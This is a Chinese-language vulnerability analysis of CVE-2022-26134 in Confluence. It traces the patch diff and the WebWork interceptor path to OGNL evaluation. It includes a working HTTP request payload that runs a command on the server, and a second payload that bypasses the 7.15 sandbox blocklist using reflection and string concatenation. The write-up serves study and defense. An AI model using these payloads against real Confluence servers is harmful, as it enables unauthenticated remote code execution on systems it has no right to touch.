<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    confluence-CVE-2022-26134漏洞分析

    一顆小胡椒2022-06-22 06:29:04

    漏洞背景

    官方鏈接:https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

    SummaryCVE-2022-26134 - Critical severity unauthenticated remote code execution vulnerability in Confluence Server and Data CenterAdvisory Release Date02 Jun 2022 1 PM PDT (Pacific Time, -7 hours)Affected ProductsConfluenceConfluence ServerConfluence Data CenterAffected VersionsAll supported versions of Confluence Server and Data Center are affected.Confluence Server and Data Center versions after 1.3.0 are affected.Fixed Versions7.4.17

    7.13.7

    7.14.3

    7.15.2

    7.16.4

    7.17.4

    7.18.1

    所有版本的 Confluence 和 DataCenter 都會受影響

    臨時修復方式:

    • 7.15.0-7.18.0: 替換xwork-1.0.3-atlassian-10.jar文件
    • 6.0.0-7.14.2: 替換以下文件
    • xwork-1.0.3-atlassian-10.jar
    • webwork-2.1.5-atlassian-4.jar
    • CachedConfigurationProvider.class

    代碼分析

    diff 補丁

    xwork-1.0.3-atlassian-10.jar和低版本進行反編譯 diff

    區別在于將

    finalNamespace = TextParseUtil.translateVariables(this.namespace, stack = ActionContext.getContext().getValueStack())
    finalActionName = TextParseUtil.translateVariables(this.actionName, stack))
    

    修改為

    finalNamespace = this.namespace, 
    finalActionName = this.actionName
    

    少了TextParseUtil.translateVariables()的流程

    該函數處理調用了

    Object o = OgnlValueStack.findValue(g);
    ...
    Ognl.getValue(OgnlUtil.compile(expr), this.context, this.root);
    

    較為明顯的ognl表達式注入,那我們來看一下具體的觸發流程。

    WebWork 框架分析

    Confluence 使用 WebWork 框架,框架調用流轉圖, 整個 HTTP 請求邏輯是隨著這個框架處理流程來的。

    1. 客戶發起 HTTP 流程訪問
    2. 按照 servlet 規范,先由 filter 進行處理,然后由 WebWork 核心控制器 ServletDispatcher 進行處理
    3. WebWork 根據 xwork.xml 配置文件 來處理請求:在配置文件中定義路由對應的攔截器,業務邏輯,業務邏輯響應等部分
    4. 先依次調用攔截器(before),然后再由業務邏輯處理
    5. 根據業務邏輯返回的響應類型對響應進行渲染
    6. 依次調用攔截器(after),然后將響應輸出

    confluence 在web.xml中引入WebWork框架配置

     action
     com.atlassian.confluence.servlet.ConfluenceServletDispatcher
     1
     action
     *.action
    

    ConfluenceServletDispatcher基類com.opensymphony.webwork.dispatcher.ServletDispatcher

    框架配置說明文件:xwork.xml文件,在 jar 包confluence-版本號.jar

    對配置文件進行說明

    一個Demo ?

    action 映射邏輯,指定 url 映射的處理類

    請求如下的url/person/jasperList.action

    1. package 命名空間 name:person, namespace person , 對應一級路徑
    2. action 最小的處理單元,name:jasperList, 對應二級路徑,class 處理類:com.opensymphony.webwork.showcase.jasper.JasperAction
    3. result 響應結果是枚舉類型 "success", 響應類型為 jasper
    4. param 參數:參數名和參數類型

    再舉一個例子 login.action

    confluence 7.4.10 版本 xwork.xml 文件,default命名空間下的login action,訪問路徑/login.action

    1. package 命名空間 name:default,在未匹配到命名空間的情況下映射到該命名空間處理。(注意此刻一級目錄為空)
    2. action name:login, class 處理類:com.atlassian.confluence.user.actions.LoginAction , 處理方法doDefault
    3. interceptor-refvalidatingStack,引用攔截器validatingStack
    4. 響應結果input, 類型為 velocity,使用login.vm進行渲染

    interceptor-ref配置的攔截器集合validatingStack,其中又引用了defaultStack,captcha,validator,workflow,profiling等攔截器, 攔截器集合是可以進行嵌套的。

     "validatingStack">
     "defaultStack"/>
     
     "captcha"/>
     "validator"/>
     "workflow"/>
     "profiling">
      "location">After validatingStack
     
    

    再再舉一個例子 index.action

    default命名空間下,默認訪問的 action 為index,訪問根目錄會使用index進行響應

    "index" class="com.atlassian.confluence.core.actions.IndexAction">
     "defaultStack"/>
     "redirect" type="redirect">${location}
     "forward" type="dispatcher">${location}
    

    配置了defaultStack進行處理

    看一下defaultStack攔截器的配置,注意攔截器是按照配置依次調用的,存在順序。

    "defaultStack">
     "profiling">
      "location">Before defaultStack
     
     "securityHeaders"/>
     "setupIncomplete"/>
     "transaction"/>
     "params"/>
     "autowire"/>
     "lastModified"/>
     "servlet"/>
     "flashScope"/>
     "confluenceAccess"/>
     "spaceAware"/>
     "pageAware"/>
     "commentAware"/>
     "userAware"/>
     "prepare"/>
     
     
     "bootstrapAware"/>
     "permissions"/>
     
     
     
     
     
     
     "cancel"/>
     "loggingContext"/>
     "eventPublisher"/>
     "messageHolder"/>
     "httpRequestStats"/>
     "licenseChecker"/>
     "xsrfToken"/>
     "profiling">
      "location">After defaultStack
     
    

    關注其中的confluenceAccess攔截器,該攔截器定義如下

    "confluenceAccess" class="com.atlassian.confluence.security.interceptors.ConfluenceAccessInterceptor" />
    

    intercept 函數

    如果!this.isAccessPermitted(actionInvocation)返回為否,那么調用actionInvocation.invoke(), 調用下一個 intercept,如果返回為,也就是沒有權限,返回為notpermitted

    默認未授權訪問,即action=index時,是沒有權限的,此刻會響應notpermittedresult類型之一

    如果授權會調用actionInvocation.invoke(),調用下一個攔截器,如果響應resultCode,會調用this.execuResult(), 大家可以回想一下 WebWork 的數據流圖。代碼邏輯如下

    如果響應有權限,那么會遞歸調用actionInvocation.invoke(), 否則輸出 resultCode,進入 executeResult()。

    接下來跟蹤調用棧,ActionChainResult#exec調用了TextParseUtil@translateVariables, 然后就快進到 ongl 表達式的執行流程了

    可知 namespace 是我們可控的 url 路徑參數

    可以函數com.opensymphony.xwork.util.OgnlValueStack#findValue看到調用Ognl.getValue即可造成 ognl 代碼執行

    相應poc如下

    GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/pwned%22%29%7D/ HTTP/1.1
    Host: 10.211.55.8:8090
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en-CA,en-US;q=0.7,en;q=0.3
    Accept-Encoding: gzip, deflate
    DNT: 1
    Connection: close
    Cookie: JSESSIONID=4290F6F6B5E0E923B2905B45CBE887AB
    Upgrade-Insecure-Requests: 1
    

    繞沙箱

    關注一下com.opensymphony.xwork.util.OgnlValueStack#findValue實現

    官方說明:https://confluence.atlassian.com/doc/preparing-for-confluence-7-15-1087507468.html

    在 7.15 版本中添加,阻止對 java 特定類和特定包訪問,與https://struts.apache.org/security/#internal-security-mechanism相似

    表達式經過safeExpressionUtil.isSafeExpression判斷

    com.opensymphony.xwork.util.SafeExpressionUtil沙箱類分析

    關鍵配置

    • xwork.excludedClasses - a comma-separated list of excluded classes.
    • xwork.excludedPackageNames - a comma-separated list of excluded packages, used to restrict all classes inside a particular package or its sub-packages.
    • xwork.allowedClasses - a comma-separated list of particular classes to be marked as allowed specifically, even if the parent package is restricted or its static method is used.

    黑白名單列表

    "xwork.excludedClasses"
     value="
     java.lang.Object,
     java.lang.Runtime,
     java.lang.System,
     java.lang.Class,
     java.lang.ClassLoader,
     java.lang.Shutdown,
     java.lang.ProcessBuilder,
     java.lang.Thread,
     sun.misc.Unsafe,
     com.opensymphony.xwork.ActionContext
     java.lang.Compiler,
     java.lang.InheritableThreadLocal,
     java.lang.Package,
     java.lang.Process,
     java.lang.RuntimePermission,
     java.lang.SecurityManager,
     java.lang.ThreadGroup,
     java.lang.ThreadLocal,
     javax.script.ScriptEngineManager,
     javax.servlet.ServletContext,
     javax.persistence.EntityManager,
     org.apache.tomcat.InstanceManager,
     org.springframework.context.ApplicationContext,
     com.atlassian.applinks.api.ApplicationLinkRequestFactory,
     com.atlassian.core.util.ClassLoaderUtils,
     com.atlassian.core.util.ClassHelper" />
     "xwork.excludedPackageNames"
     value="
     ognl,
     java.io,
     java.net,
     java.nio,
     javax,
     freemarker.core,
     freemarker.template,
     freemarker.ext.jsp,
     freemarker.ext.rhino,
     sun.misc,
     sun.reflect,
     javassist,
     org.apache.velocity,
     org.objectweb.asm,
     org.springframework.context,
     com.opensymphony.xwork.util,
     org.apache.tomcat,
     org.apache.catalina.core,
     org.wildfly.extension.undertow.deployment
     java.lang.reflect,
     com.atlassian.cache,
     com.atlassian.confluence.util.http,
     com.atlassian.failurecache,
     com.atlassian.vcache,
     com.atlassian.sal.api.net,
     com.google.common.cache,
     com.google.common.net,
     com.hazelcast,java.jms,
     java.rmi,
     javax.management,
     javax.naming,
     org.apache.catalina.session,
     org.apache.commons.httpclient,
     org.apache.httpcomponents.httpclient,
     org.apache.http.client,
     org.ehcache,
     com.google.common.reflect,
     com.sun.jmx,com.sun.jna,
     javax.xml,jdk.nashorn,
     net.bytebuddy,
     net.sf.cglib,org.apache.bcel,
     org.javassist,org.ow2.asm,
     sun.awt.shell,
     sun.corba,
     sun.invoke,
     sun.launcher,
     sun.management,
     sun.misc,
     sun.net,
     sun.nio,
     sun.print,
     sun.reflect,
     sun.rmi,
     sun.security,
     sun.tracing,
     sun.tools.jar,
     com.atlassian.activeobjects,
     com.atlassian.hibernate,
     java.sql,
     javax.persistence,
     javax.sql,
     liquibase,
     net.java.ao,
     net.sf.hibernate,
     com.atlassian.confluence.setup.bandana,
     com.atlassian.filestore,
     com.atlassian.media,
     com.google.common.io,
     java.util.jar,
     java.util.zip,
     org.apache.commons.io,
     com.atlassian.confluence.impl.util.sandbox,
     com.atlassian.confluence.util.io,
     com.atlassian.confluence.util.sandbox,
     com.atlassian.quartz,
     com.atlassian.scheduler,
     com.atlassian.utils.process,
     com.atlassian.util.concurrent,
     io.atlassian.util.concurrent,
     java.util.concurrent,
     org.apache.commons.exec,
     org.springframework.expression.spel,
     org.springframework.util.concurrent,
     org.quartz,
     oshi" />
    "xwork.allowedClasses"
     value="com.atlassian.confluence.util.GeneralUtil,
      java.io.Serializable,
      java.lang.reflect.Proxy,
      net.sf.hibernate.proxy.HibernateProxy,
      net.sf.cglib.proxy.Factory,
      java.io.ObjectInputValidation,
      net.java.ao.Entity,
      net.java.ao.RawEntity,
      net.java.ao.EntityProxyAccessor" />
    

    沙箱核心邏輯,調用OgnlUtil.compile對表達式進行解析,對每一個 node compile 之后進行遞歸的安全判斷。

     private boolean isSafeExpressionInternal(String expression, Set visitedExpressions) {
     if (!this.SAFE_EXPRESSIONS_CACHE.contains(expression)) {
      if (this.UNSAFE_EXPRESSIONS_CACHE.contains(expression)) {
       return false;
      }
      if (this.isUnSafeClass(expression)) {
       this.UNSAFE_EXPRESSIONS_CACHE.add(expression);
       return false;
      }
      if (SourceVersion.isName(this.trimQuotes(expression)) && this.allowedClassNames.contains(this.trimQuotes(expression))) {
       this.SAFE_EXPRESSIONS_CACHE.add(expression);
      } else {
       try {
        Object parsedExpression = OgnlUtil.compile(expression);
        if (parsedExpression instanceof Node) {
         if (this.containsUnsafeExpression((Node)parsedExpression, visitedExpressions)) {
          this.UNSAFE_EXPRESSIONS_CACHE.add(expression);
          log.debug(String.format("Unsafe clause found in [\" %s \"]", expression));
         } else {
          this.SAFE_EXPRESSIONS_CACHE.add(expression);
         }
        }
       } catch (RuntimeException | OgnlException var4) {
        this.SAFE_EXPRESSIONS_CACHE.add(expression);
        log.debug("Cannot verify safety of OGNL expression", var4);
       }
      }
     }
     return this.SAFE_EXPRESSIONS_CACHE.contains(expression);
    }
    

    通過字符串拼接的方式繞過 node 類型為ASTconstant判斷邏輯

    private boolean containsUnsafeExpression(Node node, Set visitedExpressions) {
     String nodeClassName = node.getClass().getName();
     if (UNSAFE_NODE_TYPES.contains(nodeClassName)) {
      return true;
     } else if ("ognl.ASTStaticMethod".equals(nodeClassName) && !this.allowedClassNames.contains(getClassNameFromStaticMethod(node))) {
      return true;
     } else if ("ognl.ASTProperty".equals(nodeClassName) && this.isUnSafeClass(node.toString())) {
      return true;
     } else if ("ognl.ASTMethod".equals(nodeClassName) && this.unsafeMethodNames.contains(getMethodInOgnlExp(node))) {
      return true;
     } else if ("ognl.ASTVarRef".equals(nodeClassName) && UNSAFE_VARIABLE_NAMES.contains(node.toString())) {
      return true;
     } else if ("ognl.ASTConst".equals(nodeClassName) && !this.isSafeConstantExpressionNode(node, visitedExpressions)) {
      return true;
     } else {
      for(int i = 0; i < node.jjtGetNumChildren(); ++i) {
       Node childNode = node.jjtGetChild(i);
       if (childNode != null && this.containsUnsafeExpression(childNode, visitedExpressions)) {
        return true;
       }
      }
      return false;
     }
    }
    

    兩個關鍵點

    1. 利用反射構造惡意對象及實例
    2. 利用字符串拼接繞過常量匹配

    對應 poc 如下

    /%24%7BClass.forName(%22java%22%2B%22x.script.Script%22%2B%22EngineManager%22).newInstance().getEngineByName(%22nashorn%22).eval(%22java.lang.Runtime.getRuntime().exec(%27touch%20/tmp/test2%27)%22)%7D/ 
    
    confluencenode
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    confluence-CVE-2022-26134漏洞分析
    前段時間Confluence發布了CVE-2021-26085補丁,剛好之前分析過Confluence的漏洞,免去了搭建漏洞分析環境的麻煩,因此分析下這個漏洞。 分析過程 漏洞點定位 這個漏洞爆出來已經有一段時間了,所以已經有公開的POC了
    CVE-2022-26134 Confluence OGNL RCE 漏洞深入分析和高版本繞過沙箱實現命令回顯
    S2-009是S2-003與S2-005的補丁繞過,當時的補丁是增加了正則以及相關的限制,主要的防御還是正則。
    F-vuln(全稱:Find-Vulnerability)是為了自己工作方便專門編寫的一款自動化工具,主要適用于日常安全服務、滲透測試人員和RedTeam紅隊人員,它集合的功能包括:存活IP探測、開放端口探測、web服務探測、web漏洞掃描、smb爆破、ssh爆破、ftp爆破、mssql爆破等其他數據庫爆破工作以及大量web漏洞檢測模塊。
    雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。
    2022年04月12日,Apache官方發布了Apache Struts2的風險通告,漏洞編號為CVE-2021-31805,漏洞等級:高危,漏洞評分:8.5。Apache Struts 2是一個用于開發Java EE網絡應用程序的開放源代碼網頁應用程序架構。它利用并延伸了Java Servlet API,
    展示在Kubernetes集群中的攻擊和防御思路
    LaTeX是一種基于ΤΕΧ的排版系統,由美國計算機學家萊斯利·蘭伯特在20世紀80年代初期開發,利用這種格式,即使使用者沒有排版和程序設計的知識也可以充分發揮由TeX所提供的強大功能,能在幾天、甚至幾小時內生成很多具有書籍質量的印刷品。對于生成復雜表格和數學公式,這一點表現得尤為突出。因此它非常適用于生成高印刷質量的科技和數學類文檔。
    低代碼成了企追求的主流目標,與使用計算機編程語言構建應用程序的傳統方法不同,低代碼開發平臺是使用圖形向導來創建和構建軟件的應用程序開發平臺。因此,在許多情況下,低代碼或無代碼(幾乎沒有代碼)這個名稱是作為可視化開發工具來幫助設計人員進行拖放、組件瀏覽器和邏輯構建器的。
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类